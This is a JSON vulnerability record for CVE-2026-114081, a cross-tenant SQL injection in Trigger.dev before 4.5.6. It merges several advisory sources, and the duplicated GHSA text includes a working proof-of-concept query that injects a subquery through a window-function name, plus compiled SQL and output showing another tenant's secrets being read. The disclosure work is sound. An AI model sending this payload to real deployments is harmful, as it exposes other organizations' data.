{"id":"CVE-2026-114081","aliases":["EUVD-2026-106884","GHSA-9q4r-4842-93vw","GHSA-vmhj-4cqp-m5cj"],"status":"published","title":"Trigger.dev before 4.5.6 Cross-Tenant SQL Injection via TSQL Window-Function Name","description":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.","severity":{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00395,"percentile":0.34242,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-639","CWE-89"],"published":"2026-10-02T22:42:20Z","modified":"2026-10-30T02:30:37Z","fixes":[{"ecosystem":"npm","package":"trigger.dev","fixed_in":["4.5.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"trigger.dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.5.5"},{"fixed":"4.5.6"}]}]},{"source":"osv","ecosystem":"npm","package":"trigger.dev","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.5.6"}]}]}],"products":[{"vendor":"triggerdotdev","product":"trigger.dev"}],"references":[{"url":"https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-9q4r-4842-93vw","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/trigger-dev-before-4.5.6-cross-tenant-sql-injection-via-tsql-window-function-name","tags":["third-party-advisory","advisory"]},{"url":"https://github.com/triggerdotdev/trigger.dev/pull/4316","tags":["web"]},{"url":"https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0","tags":["web"]},{"url":"https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9q4r-4842-93vw"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114081","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vmhj-4cqp-m5cj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/114xxx/CVE-2026-114081.json","tags":["advisory"]},{"url":"https://github.com/triggerdotdev/trigger.dev","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-114081","title":"Trigger.dev before 4.5.6 Cross-Tenant SQL Injection via TSQL Window-Function Name","description":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.","status":"published","published":"2026-10-21T00:36:49.268Z","modified":"2026-10-28T15:23:47.837Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T13:39:50.160666Z"}],"euvd":[{"id":"EUVD-2026-106884","description":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.","status":"published","published":"2026-10-21T00:36:49Z","modified":"2026-10-28T15:23:47Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:59:20.750321Z"}],"ghsa":[{"id":"GHSA-9q4r-4842-93vw","title":"Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name","description":"### Summary\n\nA cross-tenant SQL injection in the TSQL query compiler lets **any authenticated trigger.dev customer read every other tenant's analytics data**. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — **except the window-function name**, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits **outside** the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.\n\n### Details\n\n**Vulnerable sink** — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`:\n\n```ts\nprivate visitWindowFunction(node: WindowFunction): string {\n  const args = node.args ? node.args.map((a) =\u003e this.visit(a)) : [];\n  const funcCall = `${node.name}(${args.join(\", \")})`;   // \u003c-- node.name concatenated RAW\n  ...\n}\n```\n\n`node.name` is emitted directly into the SQL with **no allowlist check and no identifier escaping**. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:\n\n- The normal function-call path `visitCall` (`printer.ts:2951`) throws `Unknown function` for any name outside the hardcoded `TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS` allowlists — **this gate is absent on the window-function path**.\n- String constants are bound as ClickHouse `query_params` (parameterized).\n- Other identifiers go through `escapeClickHouseIdentifier`.\n- Table functions (`url()/file()/remote()/s3()`) are rejected.\n\nA **backtick-quoted identifier** is accepted by the lexer and **unescaped** into `node.name` by `visitIdentifier` (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, `(`, `)`, `,`, `'`, a full subquery — become the \"function name\" and are printed verbatim.\n\n**How it bypasses tenant isolation.** Multi-tenancy is enforced only by `enforcedWhereClause`, which is attached to the **outer** table's `WHERE` (`organization_id`/`project_id`/`environment_id` taken from the caller's API key). An injected **subquery** has no such guard, so it reads across all tenants.\n\n**Reachability** — `apps/webapp/app/routes/api.v1.query.ts`:\n- `body.query` is a raw `z.string()`.\n- Auth is any environment-scoped credential — a private API key or a public JWT — i.e. **any signed-up customer**.\n- The route's authorization (`detectTables(body.query)` + `everyResource`) only authorizes the **outer `FROM` table** the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.\n- `executeQuery` passes the caller's `organizationId/projectId/environmentId` into the enforced `WHERE`. The compiled `sql` string is then sent to ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`) with the injected subquery embedded **in the SQL string itself** (not in bound params), so ClickHouse executes it.\n\n### PoC\n\nReproduced in two stages: (1) the project's real `compileTSQL` emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.\n\n**1. Attacker TSQL input** (sent as the `query` field to `POST /api/v1/query` with any valid API key / JWT, authenticated here as `tenant1`):\n\n```sql\nSELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs\n```\n\n**2. Compiled ClickHouse SQL emitted by `compileTSQL` (verbatim):**\n\n```sql\nSELECT count() OVER (),\n       (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2\n        WHERE organization_id = 'org_OTHER_TENANT') AS stolen,        -- INJECTED, RAW, UNGUARDED\n       dummy(() OVER () AS x\nFROM trigger_dev.task_runs_v2 AS task_runs\nWHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),\n          equals(task_runs.project_id,      {tsql_val_1: String}),\n          equals(task_runs.environment_id,  {tsql_val_2: String}))    -- guard ONLY on outer table\nLIMIT 10000\n```\n\nThe injected subquery against `org_OTHER_TENANT` is emitted raw (its org id is a literal, not a bound `{tsql_val}` param) and sits outside the tenant guard.\n\n**3. Live ClickHouse execution.** A `trigger_dev.task_runs_v2` table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to `org_tenant1`:\n\n```\nSeed:\n  org_tenant1      -\u003e payload 'tenant1-public-data'                         (attacker's own org)\n  org_OTHER_TENANT -\u003e 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',\n                      'VICTIM-SECRET-db_password_hunter2'                    (victim)\n\nBaseline (legitimate tenant1 query, guard = org_tenant1):\n  -\u003e 'tenant1-public-data'                                                  (only own data)\n\nExploit (injected subquery, guard STILL org_tenant1):\n  SELECT 1 AS keep,\n         (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,\n         count() OVER () AS w\n  FROM trigger_dev.task_runs_v2 AS task_runs\n  WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)\n  -\u003e stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']\n```\n\nA caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.\n\n**Reproduce the compiler step** with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`. Then run that SQL against a ClickHouse seeded as above.","status":"published","published":"2026-10-02T22:42:20Z","modified":"2026-10-02T22:42:23Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89","CWE-639"],"updated_at":"2026-11-02T14:41:24.739884Z"},{"id":"GHSA-vmhj-4cqp-m5cj","title":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler,...","description":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.","status":"published","published":"2026-10-21T03:32:22Z","modified":"2026-10-21T03:32:26Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:14:08.480034Z"}],"nvd":[{"id":"CVE-2026-114081","description":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.","status":"published","published":"2026-10-21T01:17:32.507Z","modified":"2026-10-28T16:17:05.46Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:13:02.045979Z"}],"osv":[{"id":"CVE-2026-114081","title":"Trigger.dev before 4.5.6 Cross-Tenant SQL Injection via TSQL Window-Function Name","description":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.","status":"published","published":"2026-10-21T00:36:49.268Z","modified":"2026-10-30T02:30:37.460266843Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:44:56.310988Z"},{"id":"GHSA-9q4r-4842-93vw","title":"Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name","description":"### Summary\n\nA cross-tenant SQL injection in the TSQL query compiler lets **any authenticated trigger.dev customer read every other tenant's analytics data**. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — **except the window-function name**, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits **outside** the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.\n\n### Details\n\n**Vulnerable sink** — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`:\n\n```ts\nprivate visitWindowFunction(node: WindowFunction): string {\n  const args = node.args ? node.args.map((a) =\u003e this.visit(a)) : [];\n  const funcCall = `${node.name}(${args.join(\", \")})`;   // \u003c-- node.name concatenated RAW\n  ...\n}\n```\n\n`node.name` is emitted directly into the SQL with **no allowlist check and no identifier escaping**. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:\n\n- The normal function-call path `visitCall` (`printer.ts:2951`) throws `Unknown function` for any name outside the hardcoded `TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS` allowlists — **this gate is absent on the window-function path**.\n- String constants are bound as ClickHouse `query_params` (parameterized).\n- Other identifiers go through `escapeClickHouseIdentifier`.\n- Table functions (`url()/file()/remote()/s3()`) are rejected.\n\nA **backtick-quoted identifier** is accepted by the lexer and **unescaped** into `node.name` by `visitIdentifier` (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, `(`, `)`, `,`, `'`, a full subquery — become the \"function name\" and are printed verbatim.\n\n**How it bypasses tenant isolation.** Multi-tenancy is enforced only by `enforcedWhereClause`, which is attached to the **outer** table's `WHERE` (`organization_id`/`project_id`/`environment_id` taken from the caller's API key). An injected **subquery** has no such guard, so it reads across all tenants.\n\n**Reachability** — `apps/webapp/app/routes/api.v1.query.ts`:\n- `body.query` is a raw `z.string()`.\n- Auth is any environment-scoped credential — a private API key or a public JWT — i.e. **any signed-up customer**.\n- The route's authorization (`detectTables(body.query)` + `everyResource`) only authorizes the **outer `FROM` table** the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.\n- `executeQuery` passes the caller's `organizationId/projectId/environmentId` into the enforced `WHERE`. The compiled `sql` string is then sent to ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`) with the injected subquery embedded **in the SQL string itself** (not in bound params), so ClickHouse executes it.\n\n### PoC\n\nReproduced in two stages: (1) the project's real `compileTSQL` emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.\n\n**1. Attacker TSQL input** (sent as the `query` field to `POST /api/v1/query` with any valid API key / JWT, authenticated here as `tenant1`):\n\n```sql\nSELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs\n```\n\n**2. Compiled ClickHouse SQL emitted by `compileTSQL` (verbatim):**\n\n```sql\nSELECT count() OVER (),\n       (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2\n        WHERE organization_id = 'org_OTHER_TENANT') AS stolen,        -- INJECTED, RAW, UNGUARDED\n       dummy(() OVER () AS x\nFROM trigger_dev.task_runs_v2 AS task_runs\nWHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),\n          equals(task_runs.project_id,      {tsql_val_1: String}),\n          equals(task_runs.environment_id,  {tsql_val_2: String}))    -- guard ONLY on outer table\nLIMIT 10000\n```\n\nThe injected subquery against `org_OTHER_TENANT` is emitted raw (its org id is a literal, not a bound `{tsql_val}` param) and sits outside the tenant guard.\n\n**3. Live ClickHouse execution.** A `trigger_dev.task_runs_v2` table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to `org_tenant1`:\n\n```\nSeed:\n  org_tenant1      -\u003e payload 'tenant1-public-data'                         (attacker's own org)\n  org_OTHER_TENANT -\u003e 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',\n                      'VICTIM-SECRET-db_password_hunter2'                    (victim)\n\nBaseline (legitimate tenant1 query, guard = org_tenant1):\n  -\u003e 'tenant1-public-data'                                                  (only own data)\n\nExploit (injected subquery, guard STILL org_tenant1):\n  SELECT 1 AS keep,\n         (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,\n         count() OVER () AS w\n  FROM trigger_dev.task_runs_v2 AS task_runs\n  WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)\n  -\u003e stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']\n```\n\nA caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.\n\n**Reproduce the compiler step** with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`. Then run that SQL against a ClickHouse seeded as above.","status":"published","published":"2026-10-02T22:42:20Z","modified":"2026-10-21T10:57:24.849977819Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-639","CWE-89"],"updated_at":"2026-11-02T15:46:44.225359Z"}]}}
